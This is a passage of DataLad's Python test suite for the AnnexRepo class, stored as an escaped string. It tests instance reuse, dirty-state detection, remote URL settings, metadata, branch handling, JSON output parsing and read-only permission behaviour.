gc.collect()\\n\\n # As long as we don't reintroduce any circular references or produce\\n # garbage during instantiation that isn't picked up immediately, `repo1`\\n # should be the only counted reference to this instance.\\n # Note, that sys.getrefcount reports its own argument and therefore one\\n # reference too much.\\n assert_equal(1, sys.getrefcount(repo1) - 1)\\n\\n # instantiate again:\\n repo2 = AnnexRepo(path1, create=False)\\n assert_is_instance(repo2, AnnexRepo)\\n # the very same object:\\n ok_(repo1 is repo2)\\n\\n # reference the same in an different way:\\n with chpwd(path1):\\n repo3 = AnnexRepo(relpath(path1, start=path2), create=False)\\n assert_is_instance(repo3, AnnexRepo)\\n # it's the same object:\\n ok_(repo1 is repo3)\\n\\n # but path attribute is absolute, so they are still equal:\\n ok_(repo1 == repo3)\\n\\n # Now, let's try to get a GitRepo instance from a path, we already have an\\n # AnnexRepo of\\n repo4 = GitRepo(path1)\\n assert_is_instance(repo4, GitRepo)\\n assert_not_is_instance(repo4, AnnexRepo)\\n\\n orig_id = id(repo1)\\n\\n # Be sure we have exactly one object in memory:\\n assert_equal(1, len([o for o in gc.get_objects()\\n if isinstance(o, AnnexRepo) and o.path == path1]))\\n\\n\\n # But we have two GitRepos in memory (the AnnexRepo and repo4):\\n assert_equal(2, len([o for o in gc.get_objects()\\n if isinstance(o, GitRepo) and o.path == path1]))\\n\\n # deleting one reference doesn't change anything - we still get the same\\n # thing:\\n del repo1\\n gc.collect() # TODO: see first comment above\\n ok_(repo2 is not None)\\n ok_(repo2 is repo3)\\n ok_(repo2 == repo3)\\n\\n repo1 = AnnexRepo(path1)\\n eq_(orig_id, id(repo1))\\n\\n del repo1\\n del repo2\\n\\n # for testing that destroying the object calls close() on BatchedAnnex:\\n class Dummy:\\n def __init__(self, *args, **kwargs):\\n self.close_called = False\\n\\n def close(self):\\n self.close_called = True\\n\\n fake_batch = Dummy()\\n\\n # Killing last reference will lead to garbage collection which will call\\n # AnnexRepo's finalizer:\\n with patch.object(repo3._batched, 'close', fake_batch.close):\\n with swallow_logs(new_level=1) as cml:\\n del repo3\\n gc.collect() # TODO: see first comment above\\n cml.assert_logged(msg=\\\"Finalizer called on: AnnexRepo(%s)\\\" % path1,\\n level=\\\"Level 1\\\",\\n regex=False)\\n # finalizer called close() on BatchedAnnex:\\n assert_true(fake_batch.close_called)\\n\\n # Flyweight is gone:\\n assert_not_in(path1, AnnexRepo._unique_instances.keys())\\n\\n # gc doesn't know any instance anymore:\\n assert_equal([], [o for o in gc.get_objects()\\n if isinstance(o, AnnexRepo) and o.path == path1])\\n # GitRepo is unaffected:\\n assert_equal(1, len([o for o in gc.get_objects()\\n if isinstance(o, GitRepo) and o.path == path1]))\\n\\n # new object is created on re-request:\\n repo1 = AnnexRepo(path1)\\n assert_equal(1, len([o for o in gc.get_objects()\\n if isinstance(o, AnnexRepo) and o.path == path1]))\\n\\n\\n@with_tempfile\\n@with_tempfile(mkdir=True)\\n@with_tempfile\\ndef test_AnnexRepo_get_toppath(repo=None, tempdir=None, repo2=None):\\n AnnexRepo(repo, create=True)\\n\\n reporeal = str(Path(repo).resolve())\\n eq_(AnnexRepo.get_toppath(repo, follow_up=False), reporeal)\\n eq_(AnnexRepo.get_toppath(repo), repo)\\n # Generate some nested directory\\n AnnexRepo(repo2, create=True)\\n repo2real = str(Path(repo2).resolve())\\n nested = opj(repo2, \\\"d1\\\", \\\"d2\\\")\\n os.makedirs(nested)\\n eq_(AnnexRepo.get_toppath(nested, follow_up=False), repo2real)\\n eq_(AnnexRepo.get_toppath(nested), repo2)\\n # and if not under git, should return None\\n eq_(AnnexRepo.get_toppath(tempdir), None)\\n\\n\\ndef test_AnnexRepo_get_submodules():\\n raise SkipTest(\\\"TODO\\\")\\n\\n\\n@with_tempfile(mkdir=True)\\ndef test_AnnexRepo_dirty(path=None):\\n\\n repo = AnnexRepo(path, create=True)\\n ok_(not repo.dirty)\\n\\n # pure git operations:\\n # untracked file\\n with open(opj(path, 'file1.txt'), 'w') as f:\\n f.write('whatever')\\n ok_(repo.dirty)\\n # staged file\\n repo.add('file1.txt', git=True)\\n ok_(repo.dirty)\\n # clean again\\n repo.commit(\\\"file1.txt added\\\")\\n ok_(not repo.dirty)\\n # modify to be the same\\n with open(opj(path, 'file1.txt'), 'w') as f:\\n f.write('whatever')\\n ok_(not repo.dirty)\\n # modified file\\n with open(opj(path, 'file1.txt'), 'w') as f:\\n f.write('something else')\\n ok_(repo.dirty)\\n # clean again\\n repo.add('file1.txt', git=True)\\n repo.commit(\\\"file1.txt modified\\\")\\n ok_(not repo.dirty)\\n\\n # annex operations:\\n # untracked file\\n with open(opj(path, 'file2.txt'), 'w') as f:\\n f.write('different content')\\n ok_(repo.dirty)\\n # annexed file\\n repo.add('file2.txt', git=False)\\n ok_(repo.dirty)\\n # commit\\n repo.commit(\\\"file2.txt annexed\\\")\\n\\n ok_(not repo.dirty)\\n\\n repo.unlock(\\\"file2.txt\\\")\\n # Unlocking the file is seen as a modification when we're not already in an\\n # adjusted branch (for this test, that would be the case if we're on a\\n # crippled filesystem).\\n ok_(repo.dirty ^ repo.is_managed_branch())\\n repo.save()\\n ok_(not repo.dirty)\\n\\n subm = AnnexRepo(repo.pathobj / \\\"subm\\\", create=True)\\n (subm.pathobj / \\\"foo\\\").write_text(\\\"foo\\\")\\n subm.save()\\n ok_(repo.dirty)\\n repo.save()\\n assert_false(repo.dirty)\\n maybe_adjust_repo(subm)\\n assert_false(repo.dirty)\\n\\n\\n@with_tempfile(mkdir=True)\\ndef test_AnnexRepo_set_remote_url(path=None):\\n\\n ar = AnnexRepo(path, create=True)\\n ar.add_remote('some', 'http://example.com/.git')\\n assert_equal(ar.config['remote.some.url'],\\n 'http://example.com/.git')\\n assert_not_in('remote.some.annexurl', ar.config.keys())\\n # change url:\\n ar.set_remote_url('some', 'http://believe.it')\\n assert_equal(ar.config['remote.some.url'],\\n 'http://believe.it')\\n assert_not_in('remote.some.annexurl', ar.config.keys())\\n\\n # set push url:\\n ar.set_remote_url('some', 'ssh://whatever.ru', push=True)\\n assert_equal(ar.config['remote.some.pushurl'],\\n 'ssh://whatever.ru')\\n assert_in('remote.some.annexurl', ar.config.keys())\\n assert_equal(ar.config['remote.some.annexurl'],\\n 'ssh://whatever.ru')\\n\\n\\n@with_tempfile(mkdir=True)\\ndef test_wanted(path=None):\\n ar = AnnexRepo(path, create=True)\\n eq_(ar.get_preferred_content('wanted'), None)\\n # test samples with increasing \\\"trickiness\\\"\\n for v in (\\\"standard\\\",\\n \\\"include=*.nii.gz or include=*.nii\\\",\\n \\\"exclude=archive/* and (include=*.dat or smallerthan=2b)\\\"\\n ):\\n ar.set_preferred_content('wanted', expr=v)\\n eq_(ar.get_preferred_content('wanted'), v)\\n # give it some file so clone/checkout works without hiccups\\n create_tree(ar.path, {'1.dat': 'content'})\\n ar.add('1.dat')\\n ar.commit(msg=\\\"blah\\\")\\n # make a clone and see if all cool there\\n # intentionally clone as pure Git and do not annex init so to see if we\\n # are ignoring crummy log msgs\\n ar1_path = ar.path + '_1'\\n GitRepo.clone(ar.path, ar1_path)\\n ar1 = AnnexRepo(ar1_path, init=False)\\n eq_(ar1.get_preferred_content('wanted'), None)\\n eq_(ar1.get_preferred_content('wanted', DEFAULT_REMOTE), v)\\n ar1.set_preferred_content('wanted', expr='standard')\\n eq_(ar1.get_preferred_content('wanted'), 'standard')\\n\\n\\n@with_tempfile(mkdir=True)\\ndef test_AnnexRepo_metadata(path=None):\\n # prelude\\n obscure_name = get_most_obscure_supported_name()\\n\\n ar = AnnexRepo(path, create=True)\\n create_tree(\\n path,\\n {\\n 'up.dat': 'content',\\n obscure_name: {\\n obscure_name + '.dat': 'lowcontent'\\n }\\n })\\n ar.add('.', git=False)\\n ar.commit('content')\\n assert_repo_status(path)\\n # fugue\\n # doesn't do anything if there is nothing to do\\n ar.set_metadata('up.dat')\\n eq_([], list(ar.get_metadata(None)))\\n eq_([], list(ar.get_metadata('')))\\n eq_([], list(ar.get_metadata([])))\\n eq_({'up.dat': {}}, dict(ar.get_metadata('up.dat')))\\n # basic invocation\\n eq_(1, len(ar.set_metadata(\\n 'up.dat',\\n reset={'mike': 'awesome'},\\n add={'tag': 'awesome'},\\n remove={'tag': 'awesome'}, # cancels prev, just to use it\\n init={'virgin': 'true'},\\n purge=['nothere'])))\\n # no timestamps by default\\n md = dict(ar.get_metadata('up.dat'))\\n deq_({'up.dat': {\\n 'virgin': ['true'],\\n 'mike': ['awesome']}},\\n md)\\n # matching timestamp entries for all keys\\n md_ts = dict(ar.get_metadata('up.dat', timestamps=True))\\n for k in md['up.dat']:\\n assert_in('{}-lastchanged'.format(k), md_ts['up.dat'])\\n assert_in('lastchanged', md_ts['up.dat'])\\n # recursive needs a flag\\n assert_raises(CommandError, ar.set_metadata, '.', purge=['virgin'])\\n ar.set_metadata('.', purge=['virgin'], recursive=True)\\n deq_({'up.dat': {\\n 'mike': ['awesome']}},\\n dict(ar.get_metadata('up.dat')))\\n # Use trickier tags (spaces, =)\\n ar.set_metadata('.', reset={'tag': 'one and= '}, purge=['mike'], recursive=True)\\n playfile = opj(obscure_name, obscure_name + '.dat')\\n target = {\\n 'up.dat': {\\n 'tag': ['one and= ']},\\n playfile: {\\n 'tag': ['one and= ']}}\\n deq_(target, dict(ar.get_metadata('.')))\\n for batch in (True, False):\\n # no difference in reporting between modes\\n deq_(target, dict(ar.get_metadata(['up.dat', playfile], batch=batch)))\\n # incremental work like a set\\n ar.set_metadata(playfile, add={'tag': 'one and= '})\\n deq_(target, dict(ar.get_metadata('.')))\\n ar.set_metadata(playfile, add={'tag': ' two'})\\n # returned values are sorted\\n eq_([' two', 'one and= '], dict(ar.get_metadata(playfile))[playfile]['tag'])\\n # init honor prior values\\n ar.set_metadata(playfile, init={'tag': 'three'})\\n eq_([' two', 'one and= '], dict(ar.get_metadata(playfile))[playfile]['tag'])\\n ar.set_metadata(playfile, remove={'tag': ' two'})\\n deq_(target, dict(ar.get_metadata('.')))\\n # remove non-existing doesn't error and doesn't change anything\\n ar.set_metadata(playfile, remove={'ether': 'best'})\\n deq_(target, dict(ar.get_metadata('.')))\\n # add works without prior existence\\n ar.set_metadata(playfile, add={'novel': 'best'})\\n eq_(['best'], dict(ar.get_metadata(playfile))[playfile]['novel'])\\n\\n\\n@with_tree(tree={'file.txt': 'content'})\\n@serve_path_via_http()\\n@with_tempfile\\ndef test_AnnexRepo_addurl_batched_and_set_metadata(path=None, url=None, dest=None):\\n ar = AnnexRepo(dest, create=True)\\n fname = \\\"file.txt\\\"\\n ar.add_url_to_file(fname, urljoin(url, fname), batch=True)\\n ar.set_metadata(fname, init={\\\"number\\\": \\\"one\\\"})\\n eq_([\\\"one\\\"], dict(ar.get_metadata(fname))[fname][\\\"number\\\"])\\n\\n\\n@with_tempfile(mkdir=True)\\ndef test_change_description(path=None):\\n # prelude\\n ar = AnnexRepo(path, create=True, description='some')\\n eq_(ar.get_description(), 'some')\\n # try change it\\n ar = AnnexRepo(path, create=False, init=True, description='someother')\\n # this doesn't cut the mustard, still old\\n eq_(ar.get_description(), 'some')\\n # need to resort to \\\"internal\\\" helper\\n ar._init(description='someother')\\n eq_(ar.get_description(), 'someother')\\n\\n\\n@with_tempfile\\n@with_tempfile\\ndef test_AnnexRepo_get_corresponding_branch(src_path=None, path=None):\\n src = AnnexRepo(src_path, create=True)\\n (src.pathobj / 'test-annex.dat').write_text(\\\"content\\\")\\n src.save('some')\\n\\n ar = AnnexRepo.clone(src_path, path)\\n\\n # we should be on the default branch.\\n eq_(DEFAULT_BRANCH,\\n ar.get_corresponding_branch() or ar.get_active_branch())\\n\\n # special case v6 adjusted branch is not provided by a dedicated build:\\n ar.adjust()\\n # as above, we still want to get the default branch, while being on\\n # 'adjusted/<default branch>(unlocked)'\\n eq_('adjusted/{}(unlocked)'.format(DEFAULT_BRANCH),\\n ar.get_active_branch())\\n eq_(DEFAULT_BRANCH, ar.get_corresponding_branch())\\n\\n\\n@with_tempfile\\n@with_tempfile\\ndef test_AnnexRepo_get_tracking_branch(src_path=None, path=None):\\n src = AnnexRepo(src_path, create=True)\\n (src.pathobj / 'test-annex.dat').write_text(\\\"content\\\")\\n src.save('some')\\n\\n ar = AnnexRepo.clone(src_path, path)\\n\\n # we want the relation to original branch, e.g. in v6+ adjusted branch\\n eq_((DEFAULT_REMOTE, 'refs/heads/' + DEFAULT_BRANCH),\\n ar.get_tracking_branch())\\n\\n\\n@skip_if_adjusted_branch\\n@with_tempfile\\ndef test_AnnexRepo_is_managed_branch(path=None):\\n ar = AnnexRepo(path, create=True)\\n (ar.pathobj / 'test-annex.dat').write_text(\\\"content\\\")\\n ar.save('some')\\n\\n ar.adjust()\\n ok_(ar.is_managed_branch())\\n\\n\\n@with_tempfile(mkdir=True)\\ndef test_fake_is_not_special(path=None):\\n ar = AnnexRepo(path, create=True)\\n # doesn't exist -- we fail by default\\n assert_raises(RemoteNotAvailableError, ar.is_special_annex_remote, \\\"fake\\\")\\n assert_false(ar.is_special_annex_remote(\\\"fake\\\", check_if_known=False))\\n\\n\\n@with_tree(tree={\\\"remote\\\": {}, \\\"main\\\": {}, \\\"special\\\": {}})\\ndef test_is_special(path=None):\\n rem = AnnexRepo(op.join(path, \\\"remote\\\"), create=True)\\n dir_arg = \\\"directory={}\\\".format(op.join(path, \\\"special\\\"))\\n rem.init_remote(\\\"imspecial\\\",\\n [\\\"type=directory\\\", \\\"encryption=none\\\", dir_arg])\\n ok_(rem.is_special_annex_remote(\\\"imspecial\\\"))\\n\\n ar = AnnexRepo.clone(rem.path, op.join(path, \\\"main\\\"))\\n assert_false(ar.is_special_annex_remote(DEFAULT_REMOTE))\\n\\n assert_false(ar.is_special_annex_remote(\\\"imspecial\\\",\\n check_if_known=False))\\n ar.enable_remote(\\\"imspecial\\\", options=[dir_arg])\\n ok_(ar.is_special_annex_remote(\\\"imspecial\\\"))\\n\\n # With a mis-configured remote, give warning and return false.\\n ar.config.unset(f\\\"remote.{DEFAULT_REMOTE}.url\\\", scope=\\\"local\\\")\\n with swallow_logs(new_level=logging.WARNING) as cml:\\n assert_false(ar.is_special_annex_remote(DEFAULT_REMOTE))\\n cml.assert_logged(msg=\\\".*no URL.*\\\", level=\\\"WARNING\\\", regex=True)\\n\\n\\n@with_tempfile(mkdir=True)\\ndef test_fake_dates(path=None):\\n ar = AnnexRepo(path, create=True, fake_dates=True)\\n timestamp = ar.config.obtain(\\\"datalad.fake-dates-start\\\") + 1\\n # Commits from the \\\"git annex init\\\" call are one second ahead.\\n for commit in ar.get_branch_commits_(\\\"git-annex\\\"):\\n eq_(timestamp, int(ar.format_commit('%ct', commit)))\\n assert_in(\\\"timestamp={}s\\\".format(timestamp),\\n ar.call_git([\\\"cat-file\\\", \\\"blob\\\", \\\"git-annex:uuid.log\\\"], read_only=True))\\n\\n\\n# to prevent regression\\n# http://git-annex.branchable.com/bugs/v6_-_under_subdir__58___git_add___34__whines__34____44___git_commit___34__blows__34__/\\n# It is disabled because is not per se relevant to DataLad since we do not\\n# Since we invoke from the top of the repo, we do not hit it,\\n# but thought to leave it around if we want to enforce/test system-wide git being\\n# compatible with annex for v6 mode\\n@with_tempfile(mkdir=True)\\ndef _test_add_under_subdir(path):\\n ar = AnnexRepo(path, create=True, version=6)\\n gr = GitRepo(path) # \\\"Git\\\" view over the repository, so we force \\\"git add\\\"\\n subdir = opj(path, 'sub')\\n subfile = opj('sub', 'empty')\\n # os.mkdir(subdir)\\n create_tree(subdir, {'empty': ''})\\n runner = Runner(cwd=subdir)\\n with chpwd(subdir):\\n runner.run(['git', 'add', 'empty']) # should add successfully\\n # gr.commit('important') #\\n runner.run(['git', 'commit', '-m', 'important'])\\n ar.is_under_annex(subfile)\\n\\n\\n# https://github.com/datalad/datalad/issues/2892\\n@with_tempfile(mkdir=True)\\ndef test_error_reporting(path=None):\\n ar = AnnexRepo(path, create=True)\\n res = ar.call_annex_records(['add'], files='gl\\\\\\\\orious BS')\\n target = {\\n 'command': 'add',\\n # whole thing, despite space, properly quotes backslash\\n 'file': 'gl\\\\\\\\orious BS',\\n 'note': 'not found',\\n 'success': False\\n }\\n assert len(res) >= 1\\n if 'message-id' in res[0]:\\n # new since ~ 10.20230407-99-gbe36e208c2\\n target['message-id'] = 'FileNotFound'\\n target['input'] = ['gl\\\\\\\\orious BS']\\n target['error-messages'] = ['git-annex: gl\\\\\\\\orious BS not found']\\n else:\\n # our own produced record\\n target['error-messages'] = ['File unknown to git']\\n eq_(res, [target])\\n\\n\\n@with_tree(tree={\\n 'file1': \\\"content1\\\",\\n 'dir1': {'file2': 'content2'},\\n})\\ndef test_annexjson_protocol(path=None):\\n ar = AnnexRepo(path, create=True)\\n ar.save()\\n assert_repo_status(path)\\n # first an orderly execution\\n res = ar._call_annex(\\n ['find', '.', '--json'],\\n protocol=AnnexJsonProtocol)\\n for k in ('stdout', 'stdout_json', 'stderr'):\\n assert_in(k, res)\\n orig_j = res['stdout_json']\\n eq_(len(orig_j), 2)\\n # not meant as an exhaustive check for output structure,\\n # just some assurance that it is not totally alien\\n ok_(all(j['file'] for j in orig_j))\\n # no complaints, unless git-annex is triggered to run in debug mode\\n if logging.getLogger('datalad.annex').getEffectiveLevel() > 8:\\n eq_(res['stderr'], '')\\n\\n # Note: git-annex-find <non-existent-path> does not error with all annex\\n # versions. Fixed in annex commit\\n # ce91f10132805d11448896304821b0aa9c6d9845 (Feb 28, 2022).\\n if '10.20220222' < external_versions['cmd:annex'] < '10.20220322':\\n raise SkipTest(\\\"zero-exit annex-find bug\\\")\\n\\n # now the same, but with a forced error\\n with assert_raises(CommandError) as e:\\n ar._call_annex(['find', '.', 'error', '--json'],\\n protocol=AnnexJsonProtocol)\\n # normal operation is not impaired\\n eq_(e.value.kwargs['stdout_json'], orig_j)\\n # we get a clue what went wrong,\\n # but reporting depends on config + version (default changed):\\n msg = \\\"pathspec 'error' did not match\\\" if not dl_cfg.getbool(\\n section=\\\"annex\\\", option=\\\"skipunknown\\\",\\n # git-annex switched default for this config:\\n default=bool(external_versions['cmd:annex'] < '10.20220222')) else \\\\\\n \\\"error not found\\\"\\n assert_in(msg, e.value.stderr)\\n # there should be no errors reported in an individual records\\n # hence also no pointless statement in the str()\\n assert_not_in('errors from JSON records', str(e.value))\\n\\n\\n@with_tempfile\\ndef test_annexjson_protocol_long(path=None, *, caplog):\\n records = [\\n {\\\"k\\\": \\\"v\\\" * 20},\\n # Value based off of\\n # Lib.asyncio.unix_events._UnixReadPipeTransport.max_size.\\n {\\\"k\\\": \\\"v\\\" * 256 * 1024},\\n # and tiny ones in between should not be lost\\n {\\\"k\\\": \\\"v\\\"},\\n # even a much larger one - we should handle as well\\n {\\\"k\\\": \\\"v\\\" * 256 * 1024 * 5},\\n ]\\n with open(path, 'w') as f:\\n for record in records:\\n print(\\\"print(%r);\\\" % json.dumps(record), file=f)\\n runner = GitWitlessRunner()\\n with caplog.at_level(logging.ERROR), \\\\\\n swallow_logs(new_level=logging.ERROR):\\n res = runner.run(\\n [sys.executable, path],\\n protocol=AnnexJsonProtocol\\n )\\n eq_(res['stdout'], '')\\n eq_(res['stderr'], '')\\n eq_(res['stdout_json'], records)\\n\\n\\n@pytest.mark.parametrize(\\\"print_opt\\\", ['', ', end=\\\"\\\"'])\\n@with_tempfile\\ndef test_annexjson_protocol_incorrect(path=None, *, print_opt, caplog):\\n # Test that we still log some incorrectly formed JSON record\\n bad_json = '{\\\"I\\\": \\\"am wrong,}'\\n with open(path, 'w') as f:\\n print(\\\"print(%r%s);\\\" % (bad_json, print_opt), file=f)\\n runner = GitWitlessRunner()\\n # caplog only to not cause memory error in case of heavy debugging\\n # Unfortunately it lacks similar .assert_logged with a regex matching\\n # to be just used instead\\n with caplog.at_level(logging.ERROR), \\\\\\n swallow_logs(new_level=logging.ERROR) as cml:\\n res = runner.run(\\n [sys.executable, path],\\n protocol=AnnexJsonProtocol\\n )\\n cml.assert_logged(\\n msg=\\\".*[rR]eceived undecodable JSON output\\\",\\n level=\\\"ERROR\\\",\\n regex=True)\\n # only error logged and nothing returned\\n eq_(res['stdout'], '')\\n eq_(res['stderr'], '')\\n eq_(res['stdout_json'], [])\\n\\n# see https://github.com/datalad/datalad/pull/5400 for troubleshooting\\n# for stalling with unlock=False, and then with unlock=True it took >= 300 sec\\n# https://github.com/datalad/datalad/pull/5433#issuecomment-784470028\\n@skip_if(on_travis and on_nfs) # TODO. stalls\\n# http://git-annex.branchable.com/bugs/cannot_commit___34__annex_add__34__ed_modified_file_which_switched_its_largefile_status_to_be_committed_to_git_now/#comment-bf70dd0071de1bfdae9fd4f736fd1ec\\n# https://github.com/datalad/datalad/issues/1651\\n@known_failure_githubci_win\\n@pytest.mark.parametrize(\\\"unlock\\\", [True, False])\\n@with_tree(tree={\\n '.gitattributes': \\\"** annex.largefiles=(largerthan=4b)\\\",\\n 'alwaysbig': 'a'*10,\\n 'willgetshort': 'b'*10,\\n 'tobechanged-git': 'a',\\n 'tobechanged-annex': 'a'*10,\\n})\\ndef test_commit_annex_commit_changed(path=None, *, unlock):\\n # Here we test commit working correctly if file was just removed\\n # (not unlocked), edited and committed back\\n\\n # TODO: an additional possible interaction to check/solidify - if files\\n # first get unannexed (after being optionally unlocked first)\\n unannex = False\\n\\n ar = AnnexRepo(path, create=True)\\n ar.save(paths=[\\\".gitattributes\\\"], git=True)\\n ar.save(\\\"initial commit\\\")\\n assert_repo_status(path)\\n # Now let's change all but commit only some\\n files = [op.basename(p) for p in glob(op.join(path, '*'))]\\n if unlock:\\n ar.unlock(files)\\n if unannex:\\n ar.unannex(files)\\n create_tree(\\n path\\n , {\\n 'alwaysbig': 'a'*11,\\n 'willgetshort': 'b',\\n 'tobechanged-git': 'aa',\\n 'tobechanged-annex': 'a'*11,\\n 'untracked': 'unique'\\n }\\n , remove_existing=True\\n )\\n assert_repo_status(\\n path\\n , modified=files if not unannex else ['tobechanged-git']\\n , untracked=['untracked'] if not unannex else\\n # all but the one in git now\\n ['alwaysbig', 'tobechanged-annex', 'untracked', 'willgetshort']\\n )\\n\\n ar.save(\\\"message\\\", paths=['alwaysbig', 'willgetshort'])\\n assert_repo_status(\\n path\\n , modified=['tobechanged-git', 'tobechanged-annex']\\n , untracked=['untracked']\\n )\\n ok_file_under_git(path, 'alwaysbig', annexed=True)\\n ok_file_under_git(path, 'willgetshort', annexed=False)\\n\\n ar.save(\\\"message2\\\", untracked='no') # commit all changed\\n assert_repo_status(\\n path\\n , untracked=['untracked']\\n )\\n ok_file_under_git(path, 'tobechanged-git', annexed=False)\\n ok_file_under_git(path, 'tobechanged-annex', annexed=True)\\n\\n\\n_test_unannex_tree = {\\n OBSCURE_FILENAME: 'content1',\\n OBSCURE_FILENAME + \\\".dat\\\": 'content2',\\n}\\nif not on_windows and (\\n external_versions['cmd:annex'] <= '10.20230407' or external_versions['cmd:annex'] >= '10.20230408'\\n):\\n # Only whenever we are not within the development versions of the 10.20230407\\n # where we cannot do version comparison relibalye,\\n # the case where we have entire filename within \\\"\\\"\\n _test_unannex_tree[f'\\\"{OBSCURE_FILENAME}\\\"'] = 'content3'\\n\\n\\n@with_tree(tree=_test_unannex_tree)\\ndef test_unannex_etc(path=None):\\n # Primarily to test if quote/unquote/not-quote'ing work for tricky\\n # filenames. Ref: https://github.com/datalad/datalad/pull/7372\\n repo = AnnexRepo(path)\\n files = list(_test_unannex_tree)\\n # here it is through json so kinda guaranteed to work but let's check too\\n assert files == [x['file'] for x in repo.add(files)]\\n assert sorted(files) == sorted(repo.get_annexed_files())\\n assert files == repo.unannex(files)\\n\\n\\n@slow # 15 + 17sec on travis\\n@pytest.mark.parametrize(\\\"cls\\\", [GitRepo, AnnexRepo])\\n@with_tempfile(mkdir=True)\\ndef test_files_split_exc(topdir=None, *, cls):\\n r = cls(topdir)\\n # absent files -- should not crash with \\\"too long\\\" but some other more\\n # meaningful exception\\n files = [\\\"f\\\" * 100 + \\\"%04d\\\" % f for f in range(100000)]\\n if isinstance(r, AnnexRepo):\\n # Annex'es add first checks for what is being added and does not fail\\n # for non existing files either ATM :-/ TODO: make consistent etc\\n r.add(files)\\n else:\\n with assert_raises(Exception) as ecm:\\n r.add(files)\\n assert_not_in('too long', str(ecm.value))\\n assert_not_in('too many', str(ecm.value))\\n\\n\\n# with 204 (/ + (98+3)*2 + /) chars guaranteed, we hit \\\"filename too long\\\" quickly on windows\\n# so we are doomed to shorten the filepath for testing on windows. Since the limits are smaller\\n# on windows (16k vs e.g. 1m on linux in CMD_MAX_ARG), it would already be a \\\"struggle\\\" for it,\\n# we also reduce number of dirs/files\\n_ht_len, _ht_n = (48, 20) if on_windows else (98, 100)\\n\\n_HEAVY_TREE = {\\n # might already run into 'filename too long' on windows probably\\n \\\"d\\\" * _ht_len + '%03d' % d: {\\n # populate with not entirely unique but still not all identical (empty) keys.\\n # With content unique to that filename we would still get 100 identical\\n # files for each key, thus possibly hitting regressions in annex like\\n # https://git-annex.branchable.com/bugs/significant_performance_regression_impacting_datal/\\n # but also would not hit filesystem as hard as if we had all the keys unique.\\n 'f' * _ht_len + '%03d' % f: str(f)\\n for f in range(_ht_n)\\n }\\n for d in range(_ht_n)\\n}\\n\\n# @known_failure_windows # might fail with some older annex `cp` failing to set permissions\\n@slow # 313s well -- if errors out - only 3 sec\\n@pytest.mark.parametrize(\\\"cls\\\", [GitRepo, AnnexRepo])\\n@with_tree(tree=_HEAVY_TREE)\\ndef test_files_split(topdir=None, *, cls):\\n from glob import glob\\n r = cls(topdir)\\n dirs = glob(op.join(topdir, '*'))\\n files = glob(op.join(topdir, '*', '*'))\\n\\n r.add(files)\\n r.commit(files=files)\\n\\n # Let's modify and do dl.add for even a heavier test\\n # Now do for real on some heavy directory\\n import datalad.api as dl\\n for f in files:\\n os.unlink(f)\\n with open(f, 'w') as f:\\n f.write('1')\\n dl.save(dataset=r.path, path=dirs, result_renderer=\\\"disabled\\\")\\n\\n\\n@skip_if_on_windows\\n@skip_if_root\\n@with_tree({\\n 'repo': {\\n 'file1': 'file1',\\n 'file2': 'file2'\\n }\\n})\\ndef test_ro_operations(path=None):\\n # This test would function only if there is a way to run sudo\\n # non-interactively, e.g. on Travis or on your local (watchout!) system\\n # after you ran sudo command recently.\\n run = Runner().run\\n sudochown = lambda cmd: run(['sudo', '-n', 'chown'] + cmd)\\n\\n repo = AnnexRepo(op.join(path, 'repo'), init=True)\\n repo.add('file1')\\n repo.commit()\\n\\n # make a clone\\n repo2 = repo.clone(repo.path, op.join(path, 'clone'))\\n repo2.get('file1')\\n\\n # progress forward original repo and fetch (but nothing else) it into repo2\\n repo.add('file2')\\n repo.commit()\\n repo2.fetch(DEFAULT_REMOTE)\\n\\n # Assure that regardless of umask everyone could read it all\\n run(['chmod', '-R', 'a+rX', repo2.path])\\n try:\\n # To assure that git/git-annex really cannot acquire a lock and do\\n # any changes (e.g. merge git-annex branch), we make this repo owned by root\\n sudochown(['-R', 'root', repo2.path])\\n except Exception as exc:\\n # Exception could be CommandError or IOError when there is no sudo\\n raise SkipTest(\\\"Cannot run sudo chown non-interactively: %s\\\" % exc)\\n\\n # recent git would refuse to run git status in repository owned by someone else\\n # which could lead to odd git-annex errors before 10.20220504-55-gaf0d85446 AKA 10.20220525~13\\n # see https://github.com/datalad/datalad/issues/5665 and after an informative error\\n # https://github.com/datalad/datalad/issues/6708\\n # To overcome - explicitly add the path into allowed\\n dl_cfg.add('safe.directory', repo2.path, scope='global')\\n\\n try:\\n assert not repo2.get('file1') # should work since file is here already\\n repo2.status() # should be Ok as well\\n # and we should get info on the file just fine\\n assert repo2.info('file1')\\n # The tricky part is the repo_info which might need to update\\n # remotes UUID -- by default it should fail!\\n # Oh well -- not raised on travis... whatever for now\\n #with assert_raises(CommandError):\\n # repo2.repo_info()\\n # but should succeed if we disallow merges\\n repo2.repo_info(merge_annex_branches=False)\\n # and ultimately the ls which uses it\\n try:\\n from datalad.api import ls\\n ls(repo2.path, all_=True, long_=True)\\n except ImportError:\\n raise SkipTest(\\n \\\"No `ls` command available (provided by -deprecated extension)\\\")\\n finally:\\n sudochown(['-R', str(os.geteuid()), repo2.path])\\n\\n # just check that all is good again\\n repo2.repo_info()\\n\\n\\n@skip_if_on_windows\\n@skip_if_root\\n@with_tree({\\n 'file1': 'file1',\\n})\\ndef test_save_noperms(path=None):\\n # check that we do report annex error messages\\n\\n # This test would function only if there is a way to run sudo\\n # non-interactively, e.g. on Travis or on your local (watchout!) system\\n # after you ran sudo command recently.\\n repo = AnnexRepo(path, init=True)\\n\\n run = Runner().run\\n sudochown = lambda cmd: run(['sudo', '-n', 'chown'] + cmd)\\n\\n try:\\n # To assure that git/git-annex really cannot acquire a lock and do\\n # any changes (e.g. merge git-annex branch), we make this repo owned by root\\n sudochown(['-R', 'root:root', str(repo.pathobj / 'file1')])\\n except Exception as exc:\\n # Exception could be CommandError or IOError when there is no sudo\\n raise SkipTest(\\\"Cannot run sudo chown non-interactively: %s\\\" % exc)\\n\\n try:\\n repo.save(paths=['file1'])\\n except CommandError as exc:\\n res = exc.kwargs[\\\"stdout_json\\\"]\\n assert_result_count(res, 1)\\n assert_result_count(res, 1, file='file1',\\n command='add', success=False)\\n assert_in('permission denied', res[0]['error-messages'][0])\\n finally:\\n sudochown(['-R', str(os.geteuid()), repo.path])\\n\\n\\ndef test_get_size_from_key():\\n\\n # see https://git-annex.branchable.com/internals/key_format/\\n # BACKEND[-sNNNN][-mNNNN][-SNNNN-CNNNN]--NAME\\n\\n test_keys = {\\\"ANYBACKEND--NAME\\\": None,\\n \\\"ANYBACKEND-s123-m1234--NAME-WITH-DASHES.ext\\\": 123,\\n \\\"MD5E-s100-S10-C1--somen.ame\\\": 10,\\n 